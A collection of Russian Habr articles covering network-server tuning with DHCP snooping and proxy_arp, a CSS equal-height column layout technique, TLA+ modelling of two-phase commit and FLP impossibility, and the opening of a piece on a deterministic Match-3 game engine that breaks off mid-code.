Проработало все это чудо лет 8. Году в 2006 RHELAS 2.1 был заменен на свежевышедший CentOS 4. Центральные коммутаторы в зданиях поменяны на DES-3028, абонентскими остались DES-1024. Управление доступом на DES-3028 сделать не получалось толком. Для того, чтобы сделать привязку ip-mac к порту с использовании ACL не хватало 256 записей, ведь в некоторых общежитиях было более 300 компьютеров. Менять оборудование стало проблемой, так как университет «легализовал» сеть, и теперь за нее нужно было платить в кассу университета, при обратно денег на оборудование не выделялось, а если и выделялось, то очень скупо, через год и через конкурс (когда покупают не то что нужно, а то, что дешевле, или где откат больше).
##### Сервер сломался
И тут сервер сломался. Вернее сгорела материнская плата (по заключению из мастерской — умер северный мост). Нужно собрать что-то на замену, денег нет. То есть неплохо бы бесплатно. И чтобы можно было вставить сетевки PCI-X. Благо знакомый отдавал списанный из банка сервер, в нем как раз было пару слотов PCI-X 133. Но материнка однопроцессорная, и в ней не Xeon, а Socket 478 Pentium 4 3Ghz
Перекидываем винты, сетевые карты. Стартуем — вроде работает.
Но softirq «съедает» 90% в сумме от двух псевдоядер (в процессоре одно ядро, и включен гипертрединг), пинг подскакивает до 3000, даже консоль «тупит» до невозможности.
Казалось бы вот оно, сервер устарел, пора на покой.
##### Оптимизация 4
Вооружаюсь oprofile, начинаю «выкашивать лишнее». Вообще oprofile в процессе «общения» с этим сервером пользовался довольно часто, и не раз он выручал. К примеру, даже используя ipset стараюсь пользоваться ipmap, а не iphash (если это возможно), так как с oprofile действительно видно НАСКОЛЬКО разительна разница в производительности. По моим данным получилось на два порядка, то есть плавало от 200 до 400 раз. Так же при подсчете трафика в разное время переходил с ipcad-ulog на ipcad-pcap, и далее на nflow, ориентируясь на профайлинг. ipt\_NETFLOW уже не использовал, так вошли в век «безлимитного интернета», а пишет там наш провайдер верхнего уровня netflow для СОРМ или нет — его проблемы. Собственно, используя oprofile выявил, что ip\_conntrack был главным пожирателем ресурсов при включении nat.
В общем oprofile в этот раз говорит мне, что 60% циклов процессора занимает модуль ядра e1000 (сетевой карты). Ну что с ним делать? Рекомендованные в e1000.txt
`options e1000 RxDescriptors=4096,4096,4096,4096,4096,4096,4096,4096,4096,4096 TxDescriptors=4096,4096,4096,4096,4096,4096,4096,4096,4096,4096 InterruptThrottleRate=3000,3000,3000,3000,3000,3000,3000,3000,3000,3000`
вписаны еще в 2005 году.
Беглый просмотр [git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git](https://git.kernel.org/cgit/linux/kernel/git/stable/linux-stable.git/) на предмет сколько нибудь значимых изменений в e1000 не дал результатов (то есть изменения конечно есть, но либо исправление ошибок, либо расстановка пробелов в коде). На всякий случай ядро все-таки обновил, но результатов это не дало.
В ядре так же стоит `CONFIG_HZ_100=y`, при большем значении результаты еще хуже.
Еще Oprofile заявляет, что довольно большую долю циклов занимает модуль bridge. И, казалось бы, без него уже никуда, так как IP-адреса размазаны в беспорядке по нескольким зданиям, и снова разбить их на сегменты уже не возможно (вариант — объединить все в один сегмент без сервера не рассматривается, так как теряется управление)
Подумываю «разбить» бридж, и использовать proxy\_arp. Тем более давно хотелось это сделать, после обнаружения баги в DES-3028 с flood\_fdb. В принципе есть возможность загрузить все адреса в таблицу маршрутизации в виде:
```
ip route add a.b.c1.d1 dev eth1 src 1.2.3.4
ip route add a.b.c1.d2 dev eth1 src 1.2.3.4
...
ip route add a.b.c2.d1 dev eth2 src 1.2.3.4
ip route add a.b.c2.d2 dev eth2 src 1.2.3.4
...
```
потому как известно, какой абонент где должен быть (хранится в базе)
Но так же давно хотелось реализовать привязку IP-MAC не только к зданию, но и к порту узлового свича на здании (повторюсь, на абонентов стоят неуправляшки типа DES-1024)
И тут доходят руки поразбираться с dhcp-relay и dhcp-snooping.
На свичах включил:
```
enable dhcp_relay
config dhcp_relay option_82 state enable
config dhcp_relay option_82 check enable
config dhcp_relay option_82 policy replace
config dhcp_relay option_82 remote_id default
config dhcp_relay add ipif System 10.160.8.1
enable address_binding dhcp_snoop
enable address_binding trap_log
config address_binding ip_mac ports 1-28 mode acl stop_learning_threshold 500
config address_binding ip_mac ports 1-24 state enable strict allow_zeroip enable forward_dhcppkt enable
config address_binding dhcp_snoop max_entry ports 1-24 limit no_limit
config filter dhcp_server ports 1-24 state enable
config filter dhcp_server ports 25-28 state disable
config filter dhcp_server trap_log enable
config filter dhcp_server illegal_server_log_suppress_duration 1min
```
На сервере интерфейсы вывел из бриджа, убрал IP-адреса на них (интерфейсы без IP), включил arp\_proxy
Настройка isc-dhcp
```
log-facility local6;
ddns-update-style none;
authoritative;
use-host-decl-names on;
default-lease-time 300;
max-lease-time 600;
get-lease-hostnames on;
option domain-name "myserver.ru";
option ntp-servers myntp.ru;
option domain-name-servers mydnsp-ip;
local-address 10.160.8.1;
include "/etc/dhcp-hosts"; #здесь лежат привязки MAC-IP в виде "host hostname {hardware ethernet AA:BB:CC:55:92:A4; fixed-address w.x.y.z;}"
on release {
set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
log(info, concat("***** release IP " , ClientIP));
execute("/etc/dhcp/dhcp-release", ClientIP);
}
on expiry {
set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
log(info, concat("***** expiry IP " , ClientIP));
execute("/etc/dhcp/dhcp-release", ClientIP);
}
on commit {
if exists agent.remote-id {
set ClientIP = binary-to-ascii(10, 8, ".", leased-address);
set ClientMac = binary-to-ascii(16, 8, ":", substring(hardware, 1, 6));
set ClientPort = binary-to-ascii(10,8,"",suffix(option agent.circuit-id,1));
set ClientSwitch = binary-to-ascii(16,8,":",substring(option agent.remote-id,2,6));
log(info, concat("***** IP: " , ClientIP, " Mac: ", ClientMac, " Port: ",ClientPort, " Switch: ",ClientSwitch));
execute("/etc/dhcp/dhcp-event", ClientIP, ClientMac, ClientPort, ClientSwitch);
}
}
option space microsoft; #не нужена нам микрософ-сеть
option microsoft.disable-netbios-over-tcpip code 1 = unsigned integer 32;
if substring(option vendor-class-identifier, 0, 4) = "MSFT" {
vendor-option-space microsoft;
}
shared-network HOSTEL {
subnet 10.160.0.0 netmask 255.255.248.0 {
range 10.160.0.1 10.160.0.100; #пул для неизвестных хостов
option routers 10.160.1.1;
option microsoft.disable-netbios-over-tcpip 2;
}
subnet a.b.c.0 netmask 255.255.252.0 {
option routers a.b.c.d;
option microsoft.disable-netbios-over-tcpip 2;
}
subnet 10.160.8.0 netmask 255.255.255.0 { #из этой подсети запросы dhcp-relay со свичей
}
}
```
В файле dhcp-event производится проверка agent.circuit-id, agent.remote-id, IP и MAC на валидность, и если все ок, то добавляется машрут до этого адреса через нужный интерфейс
Примитивный пример dhcp-event:
```
#hostel 1
if ($ARGV[3] eq '0:21:91:92:d7:55') {
system "/sbin/ip ro add $ARGV[0] dev eth1 src a.b.c.d";
}
#hostel 2
if ($ARGV[3] eq '0:21:91:92:d4:92') {
system "/sbin/ip ro add $ARGV[0] dev eth2 src a.b.c.d";
}
```
здесь проверяется только $ARGV[3] (то есть agent.remote-id, или МАС свича, через который получен DHCP-запрос), но можно проверять так же все остальные поля получая их валидные значения, к примеру, из базы
В итоге получаем:
1) клиент, не запросивший адрес по DHCP — не выходит дальше своего неуправляемого свича, его не пропускает IP-MAC-PORT-BINDING;
2) клиент, у которого МАС известен (есть в базе), но запрос не соответствует порту или коммутатору — получит IP привязанный к этому МАС, но маршрут до него не будет добавлен, соответственно proxy\_arp «ответит», что адрес уже занят, и адрес будет тут же освобожден;
3) клиент, у которого МАС не известен, получит адрес из временного пула. С этих адресов происходит перенаправление на страничку с информацией, здесь же можно перерегистрировать свой МАС использую логин/пароль;
4) и наконец клиент, у которого МАС известен, и совпадает привяка к коммутатору и порту — получит свой адрес. Dhcp-snooping добавит динамическую привязку в таблицу impb на коммутаторе, сервер добавит маршрут до этого адреса через нужный интерфейс бывшего бриджа.
При окончании аренды или освобождении адреса вызывается скрипт /etc/dhcp/dhcp-release, содержание которого донельзя примитивно:
```
system "/sbin/ip ro del $ARGV[0]";
```
Есть небольшой изъян в безопасности, конкретно в п.2. Если использовать нестандартный dhcp-client, который не проверяет, занят ли выданный dhcp-сервером адрес, то освобождения адреса не произойдет. Конечно выхода во внешнюю сеть, дальше маршрутизатора, у пользователя не появится, так как сервер не добавит маршрут на этот адрес через нужный интерфейс, но коммутатор разблокирует эту пару MAC-IP на своем порту.
Обойти этот изъян можно, используя классы в dhcpd.conf, но это заметно усложняет конфигурационный файл, и, соответственно, увеличивает нагрузку на наш старенький сервер. Потому как для каждого абонента придется создать свой класс, с довольно сложным условием попадания в него, а потом свой пул. Хотя в планах попробовать на практике, как сильно это увеличит нагрузку.
Таким образом получилось, что за соответствием пары IP-MAC теперь «следит» DHCP при выдаче адреса, доступ с «невалидных» MAC-IP ограничивает коммутатор. С сервера теперь можно было убрать не только bridge, но и macipmap, заменив 6 сетов (из «Оптимизации 1») на один ipmap, в котром содержатся все открытые IP-адреса. А так же удалив -m physdev.
Еще интерфейсы сервера перешли из promisc mode в обычный, что тоже несколько снизило нагрузку.
А именно, вся эта процедура с разборкой бриджа снизила общую нагрузку на сервер **почти в 2 раза**! Softirq теперь не 50-100%, а 25-50%. При этом контроль доступа к сети стал только лучше.
##### Оптимизация 5
После проведения последней оптимизации, хотя нагрузка заметно упала, была замечена странность: возрос iowait. Не то чтобы сильно, с 0-0.3% до 5-7%. Это с учетом того, что на данном сервере вообще каких бы то ни было дисковых операций практически нет — он просто перекидывает пакетики.
*(синий юзертайм — компиляция ядра)*
**iostat** показывал, что есть постоянная нагрузка на диск в 800-820 Blk\_wrtn/s
Начал поиск процессов, которые могли бы заниматься записью. Выполнение
```
echo 1 > /proc/sys/vm/block_dump
```
дало странный результат: виновниками оказались
```
kjournald(483): WRITE block 76480 on md0
и
md0_raid1(481): WRITE block 154207744 on sdb2
md0_raid1(481): WRITE block 154207744 on sda3
```
Ext3 находится в режиме `data=writeback, noatime`, да и на диск ничего не пишется, разве что кроме логов. Но логи какие писались вчера — такие и пишутся сегодня, их объем не возрос, то есть iowait тоже не дожен был возрасти.
Начал по шагам прокручивать в голове, что я делал, и что могло повлиять на iowait. В итоге остановил syslog — и iowait резко упал до ~0%
Для того, чтобы dhcp не захламял messages своими сообщениями, я отправил их в log-facility local6, а в syslog.conf вписал:
```
*.info;mail.none;authpriv.none;cron.none;local6.none /var/log/messages
local6.info /var/log/dhcpd.log
```
оказалось, что при записи через syslog для каждой строки делается sync. Запросов к dhcp-серверу довольно много, генерируется много событий, которые попадают в лог, и вызывается много sync.
Исправление на
```
local6.info -/var/log/dhcpd.log
```
снизило iowait в моем случае **10-100** раз, вместо 5-7% стало 0-0.3%
Результат оптимизации:
К чему эта статья.
Во-первых, возможно кто-то почерпнет из нее полезные для себя решения. Америку я тут не открыл, хотя бОльшая часть описанных тут событий была в дохабровую эпоху, и «гугление рецептов» мало помогало, доходил до всего своей головой.
Во-вторых, постоянно приходится сталкиваться с тем, что вместо оптимизации кода разработчики занимаются наращиванием вычислительных мощностей, и эта статья может быть примером того, что при желании можно сколь угодно долго находить ошибки в своем, казалось бы много раз проверенном, коде и справлять их. 90% разработчиков сайтов проверяют у себя на машине работу сайта, выкладывают в продкашн. Потом все это дело тормозит под нагрузкой. Теребят админа сервера. Оптимизацией сервера в этому случае мало что можно добиться, если код написан изначально не оптимально. И покупается новый сервер, или еще один сервер и балансировщик. Потом балансировщик балансировщика и так далее. А код внутри как был неоптимальным, так и остается навеки. Я конечно понимаю, что в нынешних реалиях оптимизация кода стоит дороже, чем экстенсивное наращивание мощностей, но с появлением огромного числа «доморощенных» айтишников объемы «плохого кода» приобретют серьезные масштабы.
Из ностальгического: имею на полке старый ноутбук, Р3-866 2001гв (Panasonic CF-T1 если кому-то это что-то скажет), но сейчас на нем невозможно даже сайты смотреть, хотя смысла на этих сайтах за 10 лет больше не стало. С любовью вспоминаю интересные игрушки на ZX-Spectrum по геймплею не уступающим сегодняшним монстрам, требующим 4 ядра/4гига | https://habr.com/ru/post/199480/ | null | ru | null |
# Колоночная верстка
Существует много способов по верстке колоночных макетов. Уже не один нос разбит в течении холиваров, разожженных по поводу использования тех или иных методов. Казалось бы, что все должно быть предельно ясно и понятно, но все-равно возникает много трудностей. Я хочу и свою лепту вложить во всеобщее благое дело, и потому потратил относительно немного времени на эксперименты, которые привели меня к созданию еще одного метода, в котором есть следующие плюсы и минусы:
##### Плюсы
* Есть прижимающийся к полу футер
* Колонки меню растягиваются по 100% высоте
* Колонок может быть сколько душе угодно
* Колонки могут быть как лево- так и правосторонними, а также совмещенными, например 2 справа и 1 слева
* Ширина как резиновая, так и фиксированная
* Критический минимум хаков
* Не используется Javascript
* Не используются бекграундовые изображения для создания эффекта колонки
* Никаких таблиц
* Одинаковый результат в ie5.5, ie6, ie7, ie8, ff3.5, o10, chrome4 (*Если у вас не работает в каком-то браузере — отпишитесь, пожалуйста, в комментах. Исправим и приведем к универсальному виду*)
##### Минусы
* Есть несколько «лишних» блоков. (*Я бы и сам рад от них избавиться*)
* Есть несколько абсолютно-позиционируемых блоков
Сразу хочу сказать, что любая конструктивная критика приветствуется. Если вы где-то когда-то видели что-то похожее — давайте пруф. Я еще с детства любил велосипеды изобретать). Также приветствуются советы по улучшению примера. Доведем вместе до высокого уровня. Будет время — сделаю что-то на подобие генератора верстки, как у ребят из [csstemplater.com](http://csstemplater.com/), чьим инструментом я время от времени пользуюсь и всем всячески рекомендую. Если вам статья показалась многословной — прокрутите вниз — там я выложил несколько ссылок на сделанные по данной методике примеры. Итак, приступим к делу…
#### Этап 1: Прилипающий к низу окна футер
В нашей работе прилипающий футер — это одна из наиболее распространенных тем. Что же для него надо?* 100% высота html и body
* Минимум 3 блока — один на контейнер, содержащий все элементы, второй — непосредственно сам футер
* Ну и третий, нужный для расположения в нем контента страницы
Разметка в таком случае будет похожей на:
> `1. <div class="wrapper">
> 2. <div class="container">
> 3. Контент
> 4. div>
> 5. div>
> 6.
> 7. <div class="footer">
> 8. Прижимающийся футер
> 9. div>
> \* This source code was highlighted with Source Code Highlighter.`
И, соответственно, CSS для нее:
> `1. html, body {
> 2. min-height: 100% !important;
> 3. min-height: auto;
> 4. height: 100%;
> 5. border: none;
> 6. }
> 7.
> 8. body {
> 9. margin: 0;
> 10. padding: 0;
> 11. }
> 12.
> 13. .wrapper {
> 14. display: block;
> 15. position: relative;
> 16. min-height: 100%;
> 17. height: auto !important;
> 18. height: 100%;
> 19. width: 100%;
> 20. min-width: 800px;
> 21. background: yellow;
> 22. }
> 23. .container {
> 24. display: block;
> 25. height: 1%;
> 26. padding: 0 0 50px 0;
> 27. }
> 28. .footer {
> 29. margin: -50px 0 0 0;
> 30. height: 50px;
> 31. background: #BFF08E;
> 32. position: relative;
> 33. }
> \* This source code was highlighted with Source Code Highlighter.`
Глубоко копать не буду, так как думаю, что тут все предельно ясно. Можно обратить внимание на нижний *padding* у блока *.container* и минусовый верхний *margin* у блока *.footer*. Минусовым сдвигом мы подмимаем футер так, чтобы он помещался над контейнером. Паддинг у контентного блока влияет на то, чтобы контент не залазил под футер, а отодвигал его.
Также мы растягиваем тело документа, чтобы оно было со 100% высотой. Некоторые свойства — такие как бекграунд указал опционально.
#### Этап 2: Раздумия над следующими шагами
После этого этапа я обычно в блоке .wrapper создаю шапку страницы.
> `1. .header {
> 2. position: relative;
> 3. width: 100%;
> 4. height: 50px;
> 5. background: cyan;
> 6. }
> \* This source code was highlighted with Source Code Highlighter.`
И тут подходит время сделать колонки одинаковой высоты. Мною вариантов было перепробовано очень много. Перебрав все мыслимые и немыслимые варианты я пришел к выводу, что чтобы колонки растягивались и занимали 100% от документа — логично использовать вариант, когда в создании колонки учавствуют 2 блока. Первый блок — спозиционирован абсолютно, имеет фиксированную ширину и высоту в 100%, а второй блок — позиционирован относительно и накладывается поверх абсолютно спозиционированного блока.
Значит надо добавить абсолютный бокс — в *.wrapper* и относительно спозиционированный в наш контейнер
Приведу пример из моей верстки:
> `1. <div class="wrapper">
> 2. <div class="column-l">
> 3. div>
> 4. <div class="column-r">
> 5. div>
> 6. <div class="column-m">
> 7. div>
> 8. <div class="header">
> 9. Шапка
> 10. div>
> 11. <div class="container">
> 12. <div class="column-l">
> 13. Первая колонка
> 14. div>
> 15. <div class="column-r">
> 16. Вторая колонка
> 17. div>
> 18. <div class="content">
> 19. Контент
> 20. div>
> 21. <div class="clear">
> 22. div>
> 23. div>
> 24. div>
> 25. <div class="footer">
> 26. Прижимающийся футер
> 27. div>
> \* This source code was highlighted with Source Code Highlighter.`
Чтобы не засорять дальше статью — приведу ссылку, по которой вы можете [скачать данный файл](http://flexywork.com/habr/habr.css).
На все вопросы, которые у вас возникнут — с удовольствмем отвечу в комментариях.
#### Заключение: Примеры в студию!
Привожу также несолько примеров макетов, собранных по данной системе:* [Левое расположение меню. Все колонки с минимальным контентом](http://flexywork.com/habr/equal.html)
* [Левое расположение меню. Первая колонка растягивает документ по высоте](http://flexywork.com/habr/equal2.html)
* [Левое расположение меню. Вторая колонка растягивает документ по высоте](http://flexywork.com/habr/equal3.html)
* [Левое расположение меню. Контентная колонка растягивает документ по высоте](http://flexywork.com/habr/equal4.html)
* [Правое расположение меню. Все колонки с минимальным контентом](http://flexywork.com/habr/equal-r.html)
* [Правое расположение меню. 3 колонки справа](http://flexywork.com/habr/equal-r-3.html)
В общем, комбинаций может быть столько, сколько вам угодно. Напомню или скажу тем кто не знает, что z-index срабатывает как для блоков, позиционируемых абсолютно, так и для *position:relative;*
Все указанные примеры вы можете [скачать одним архивом (*11 кб*)](http://flexywork.com/habr/equal.zip)
Надеюсь, я помог кому-то). Извините за некоторую сумбурность.
Спасибо за внимание. | https://habr.com/ru/post/81193/ | null | ru | null |
# Двухфазный коммит и будущее распределённых систем
В этой статье мы смоделируем и исследуем протокол двухфазного коммита с помощью TLA+.
Протокол двухфазного коммита практичный и сегодня используется во многих распределённых системах. Тем не менее, он достаточно краткий. Поэтому мы можем быстро смоделировать его и многому научиться. На самом деле этим примером мы проиллюстрируем, какой результат в распределённых системах *фундаментально невозможен*.
### Проблема двухфазного коммита
Транзакция проходит через **диспетчеры ресурсов (RM)**. Все RM должны договориться, будет транзакция *завершена* или *прервана*.
Менеджер транзакций (TM) принимает окончательное решение: **коммит** или **отмена**. Условием для коммита является готовность к коммиту всех RM. В противном случае транзакцию следует отменить.
### Некоторые замечания о моделировании
Для простоты мы выполняем моделирование в модели общей памяти, а не в системе передачи сообщений. Это также обеспечивает быструю проверку модели. Но мы добавим неатомарность к действиям «чтение из соседнего узла и обновление состояния», чтобы захватить интересное поведение при передаче сообщений.
RM может только читать состояние TM и читать/обновлять собственное состояние. Он не может прочитать состояние другого диспетчера ресурсов. ТМ может читать состояние всех узлов RM и читать/обновлять собственное состояние.
### Определения
Строки 9-10 устанавливают начальный `rmState` для каждого RM на `working`, а ТМ — на `init`.
Предикат `canCommit` определяется как `true`, если все RM «подготовлены» (готовы к коммиту). Если существует RM в состоянии «отбой», то справедливым становится предикат `canAbort`.
Моделирование ТМ простое. Менеджер транзакций проверяет возможность коммита или отмены — и соответственно обновляет `tmState`.
Существует возможность, что TM не сможет сделать `tmState` «недоступным», но только если константа `TMMAYFAIL` установлена в значение `true` до начала проверки модели. В TLA+ метки определяют степень атомарности, то есть её гранулярность. Метками F1 и F2 мы обозначаем, что соответствующие операторы выполняются неатомарно (после некоторого неопределённого времени) по отношению к предыдущим операторам.
### Модель RM
Модель RM тоже простая. Поскольку «рабочие» и «подготовленные» состояния неконечные, RM недетерминированно выбирает среди действий, пока не достигнет конечного состояния. «Рабочий» RM может перейти в «прерванное» или «подготовленное» состояние. «Подготовленный» RM ожидает от TM решения коммит/отмена — и действует соответственно. На рисунке ниже показаны возможные переходы состояний для одного RM. Но обратите внимание, что у нас несколько RM, каждый из которых проходит через свои состояния в своём темпе без знания состояния других RM.
### Модель двухфазного коммита
Нам нужно проверить согласованность нашего двухфазного коммита: чтобы не было разных RM, один из которых говорит «коммит», а другой «аборт».
Предикат `Completed` проверяет, что протокол не висит вечно: в конце концов каждая RM достигает конечного состояния `committed` или `aborted`.
Теперь мы готовы проверить модель протокола. Изначально мы установили `TMMAYFAIL=FALSE, RM=1..3` для запуска протокола с тремя RM и одним TM, то есть в надёжной конфигурации. Проверка модели занимает 15 секунд и говорит, что ошибок нет. И `Consistency`, и `Completed` удовлетворены любым возможным выполнением протокола с любым чередованием действий RM и действий TM.
Теперь установим `TMMAYFAIL=TRUE` и перезапустим проверку. Программа быстро выдаёт противоположный результат, где RM застряли в ожидании ответа от недоступной TM.
Мы видим, что на этапе `State=4` прерываются переходы RM2, на `State=7` прерываются переходы RM3, на `State=8` ТМ переходит в состояние «отбой» и падает на `State=9`. На `State=10` система зависает, потому что RM1 навсегда остаётся в подготовленном состоянии, ожидая решения от упавшего TM.
### Моделирование BTM
Чтобы избежать зависания транзакций, добавляем резервный ТМ (BTM), который быстро берёт на себя управление, если основной ТМ недоступен. Для принятия решений BTM использует ту же логику, что и TM. И для простоты мы предполагаем, что BTM никогда не падает.
Когда мы проверяем модель с добавленным процессом BTM, то получаем новое сообщение об ошибке.
BTM не может принять коммит, поскольку наше оригинальное условие `canCommit` утверждает, что все `RMstates` должны быть «подготовлены» и не учитывает условие, когда одни RM уже получили решение о коммите от оригинального ТМ до того, как BТМ взял на себя управление. Нужно переписать условия `canCommit` с учётом такой ситуации.
Успех! Когда мы проверяем модель, то достигаем и согласованности, и завершённости, поскольку BTM берёт на себя управление и завершает транзакцию, если TM падает. [Вот модель 2PCwithBTM в TLA+](https://www.dropbox.com/s/teobmipyg7q2mjx/2PCwithBTM.tla?dl=0) (BTM и вторая строка canCommit изначально раскомменчены) и [соответствующий pdf](https://www.dropbox.com/s/rx1oq3vxaysysab/2PCwithBTM.pdf?dl=0).
### Что если RM тоже потерпят неудачу?
Мы предположили, что RM надёжны. Теперь отменим это условие и посмотрим, как ведёт себя протокол при сбое RM. Добавляем «недоступное» состояние в модель сбоя. Чтобы исследовать поведение и смоделировать прерывистую потерю доступности, позволяем аварийному RM восстановиться и продолжить работу, прочитав своё состояние из лога. Вот ещё одна диаграмма перехода состояния RM с добавленным «недоступным» состоянием и переходами, отмеченными красным цветом. А ниже — пересмотренная модель для RM.
Необходимо также доработать `canAbort` с учётом состояния недоступности. ТМ может принять решение «отбой», если какая-то из служб находится в прерванном или недоступном состоянии. Если опустить это условие, то упавший и не восстановленный RM прервёт ход выполнения транзакции. Конечно, опять следует учесть RM, которые узнали решение о завершении транзакции от исходного TM.
### Проверка модели
Когда мы проверяем модель, то возникает проблема несоответствия! Как это могло произойти? Проследим за трассировкой.
При `State=6` все RM находятся в подготовленном состоянии, ТМ принял решение о завершении транзакции, RM1 увидел это решение и перешёл на метку RC, что означает готовность изменить своё состояние на «завершённый». (Запомните RM1, этот пистолет выстрелит в последнем акте). К сожалению, ТМ обваливается на этапе `State=7`, и RM2 становится недоступен на `State=8`. На девятом шаге резервный BTM берёт управление на себя и считывает состояние трёх RM как «подготовлено, недоступно, подготовлено» — и принимает решение отменить транзакцию на десятом шаге. Помните RM1? Он принимает решение завершить транзакцию, потому что получил такое решение от исходного TM, и переходит в состояние `committed` на 11-м шаге. В `State=13` RM3 выполняет решение прервать транзакцию от BTM и переходит в состояние `aborted` — и вот у нас нарушена согласованность с RM1.
В этом случае BTM принял решение, которое нарушило **согласованность**. С другой стороны, если заставить BTM ждать выхода RM из недоступного состояния, он может навечно зависнуть в случае аварии на узле, и это нарушит условие **выполнения** (прогресса).
[Обновленный файл модели TLA+ доступен здесь](https://www.dropbox.com/s/oobj4z7dhp8yrl9/2PC2withBTM.tla?dl=0), а также [соответствующий pdf](https://www.dropbox.com/s/vkdgugmkjlgb8z6/2PC2withBTM.pdf?dl=0).
### Невозможность FLP
Итак, что же произошло? Мы уткнулись в [теорему Фишера, Линча, Патерсона (FLP)](https://www.the-paper-trail.org/post/2008-08-13-a-brief-tour-of-flp-impossibility/) о невозможности консенсуса в асинхронной системе со сбоями.
В нашем примере BTM не может правильно решить, находится RM2 в состоянии сбоя или нет — и некорректно принимает решение прервать транзакцию. Если бы решение принимал только исходный TM, такая неточность в распознавании сбоя не стала бы проблемой. RM подчинятся любому решению ТМ, так что сохранятся и согласованность, и прогресс выполнения.
Проблема в том, что у нас два объекта принимают решения: TM и BTM, они смотрят на состояние RM в разное время и принимают разные решения. Такая асимметричность информации — корень всего зла в распределённых системах.
Проблема не исчезает даже с расширением до трёхфазного коммита. [Вот трёхфазный коммит, смоделированный в TLA+](https://www.dropbox.com/s/6l3vcenjcb1h54k/3PCwithBTM.tla?dl=0) ([версия pdf](https://www.dropbox.com/s/vr2qnkuqlldhmve/3PCwithBTM.pdf?dl=0)), а ниже трассировка ошибки, которая показывает, что на этот раз нарушен прогресс (на [странице Википедии о трёхфазном коммите](https://en.wikipedia.org/wiki/Three-phase_commit_protocol) описывается ситуация, когда RM1 подвисает после получения решения перед коммитом, а RM2 и RM3 совершают коммит, что нарушает согласованность).
### Paxos старается сделать мир лучше
Но не всё потеряно, надежда не умерла. [У нас есть Paxos](http://muratbuffalo.blogspot.com/search?q=paxos). Он аккуратно действует в пределах теоремы FLP. Инновация Paxos заключается в том, что он **всегда безопасен** (даже при наличии неточных детекторов, асинхронного выполнения и сбоев), и **в конечном итоге завершает транзакцию**, когда консенсус становится возможным.
Можно эмулировать TM на кластере с тремя узлами Paxos, и это решит проблему несогласованности TM/BTM. Или, как показали Грей и Лэмпорт в [научной статье по консенсусу в коммите транзакций](https://lamport.azurewebsites.net/video/consensus-on-transaction-commit.pdf), если RM используют контейнер Paxos для хранения своих решений одновременно с ответом TM, это избавляет от одного лишнего шага в алгоритме стандартного протокола. | https://habr.com/ru/post/434496/ | null | ru | null |
# Разделяй и властвуй: детерминированный и скриптованный Match-3 движок
Я Павел Щеваев, CTO студии BIT.GAMES, части MY.GAMES. Вы можете знать нас по таким играм, как «Гильдия Героев» и «Домовята» в Одноклассниках (да, это тоже были мы), а также по нашему текущему флагману Storyngton Hall — это классическая три-в-ряд с сюжетом в викторианском стиле. О нем-то и пойдет речь далее.
Когда я писал [про тестовую ферму из Android-устройств](https://habr.com/ru/company/vk/blog/579210/), я не раз упоминал наш самописный детерминированный движок Match-3, благодаря которому и возникла возможность повсеместного покрытия игры тестами без ущерба для жизни и здоровья QA-команды.
Но, конечно, это не единственная причина, почему мы пошли по пути создания именно детерминированного движка. О логике наших выборов и ошибках — про то, как мы отделили симуляцию от представления для более предсказуемого исполнения кода, максимального покрытия функционала тестами и освобождения ядра от частной логики, я и расскажу на этот раз.
---
Раньше, до Storyngton Hall, мы разрабатывали и другие игры с элементами Match-3. Но это было давно, и кодовая база ни одного из прежних тайтлов для новой игры нас не устраивала. А именно — не устраивало следующее:
* отсутствие детерминированности и возможности реплея: нельзя отследить баг в сессии игрока и понять, что произошло;
* логика модели «намертво» переплетена с представлением: нельзя отключить визуал и «перемотать» симуляцию;
* ядро содержит супер-частную логику геймплея — классы типа *Honey, Ferret* или *Rose*, которые не переиспользуешь между проектами.
Поэтому ***первоначальный план был следующим:***
* создать маленькое функциональное ядро на C# с компактным API;
* вести разработку через тестирование;
* максимально изолировать симуляцию от представления;
* ввести понятие детерминированности в симуляцию;
* сделать так, чтобы вся частная геймплейная логика была реализована с помощью скриптов — в нашем случае на BHL.
И наверняка касательно последнего пункта у многих возник вопрос: BHL… это что?
[**BHL**](https://github.com/bitdotgames/bhl) — это интерпретируемый строго типизированный язык программирования, который:
* содержит удобные примитивы для псевдо-параллелизации кода;
* поддерживает hot reload;
* позволяет осуществлять загрузку байт-кода с сервера — это дает нам возможность внедрять разные патчи и фиксы без необходимости загружать приложение в стор.
BHL мы когда-то написали сами, и теперь этим языком в BIT.GAMES активно пользуются геймплейные программисты.
Но вернемся к нашему плану. Итак, концептуально мы хотели разделить симуляцию и представление. Здесь напрашивается аналогия с клиент-серверным программированием, где:
* сервер — это детерминированная симуляция со своими «тиками», при этом симуляция предоставляет возможность подписываться на все значимые события;
* клиент — представление, которое влияет на сервер при помощи ввода от игрока;
* представление и сервер живут раздельно в своих собственных «тиках».
Архитектурно симуляцию мы реализовали как ***плагинную модель***, в которой любой компонент можно заменить на иную имплементацию. Симуляция работает с этими компонентами при помощи строгих интерфейсов. Можно было бы попробовать использовать вместо этого ECS, однако на момент реализации мы все же решили поосторожничать и пойти более проторенным путем.
Работает это так. Из внешнего мира симуляция получает воздействие двумя способами: ввод от игрока и интервальный запрос на обновление («тик»).
Симуляция позволяет подписываться на все значимые события, которых довольно много.
Затем, уже в ***тике симуляции***, мы в строгом порядке проходим по всем компонентам и плагинам — таким образом у нас складывается четкое понимание, что и когда вызывается. Ниже видно, как мы «тикаем» объекты ячеек, спаунеры, матчинг, гравитацию и прочее:
```
public void Tick() {
TickCellObjects();
TickMatches();
TickReplaces();
TickSpawner();
TickGravity();
TickGoals();
TickTurnsLeft();
TickShuffle();
TickCombo();
TickFieldZone();
...
}
```
Событий, на которые симуляция позволяет подписаться, действительно много: это и спауны, и новые фишки, приземление, уничтожение разрушение фишкой стены и т.п.
```
public void AttachToModel() {
m3.OnSpawnNew += OnSpawnNewChip;
m3.OnSpawnNewMat += OnSpawnNewMat;
m3.OnSpawnNewBlocker += OnSpawnNewBlocker;
m3.OnChangeGoal += OnChangeGoal;
m3.OnLanded += OnLandedChip;
m3.OnMoveOnBelt += OnMoveOnBelt;
m3.OnDamage += OnDamageChip;
m3.OnMatch += OnMatchChips;
m3.OnReplace += OnReplaceChips;
m3.OnDestroy += OnDestroyChip;
m3.OnShuffle += OnShuffleChips;
m3.OnDestroyWall += OnDestroyWall;
m3.OnDamageBlocker += OnDamageBlocker;
m3.OnDestroyBlocker += OnDestroyBlocker;
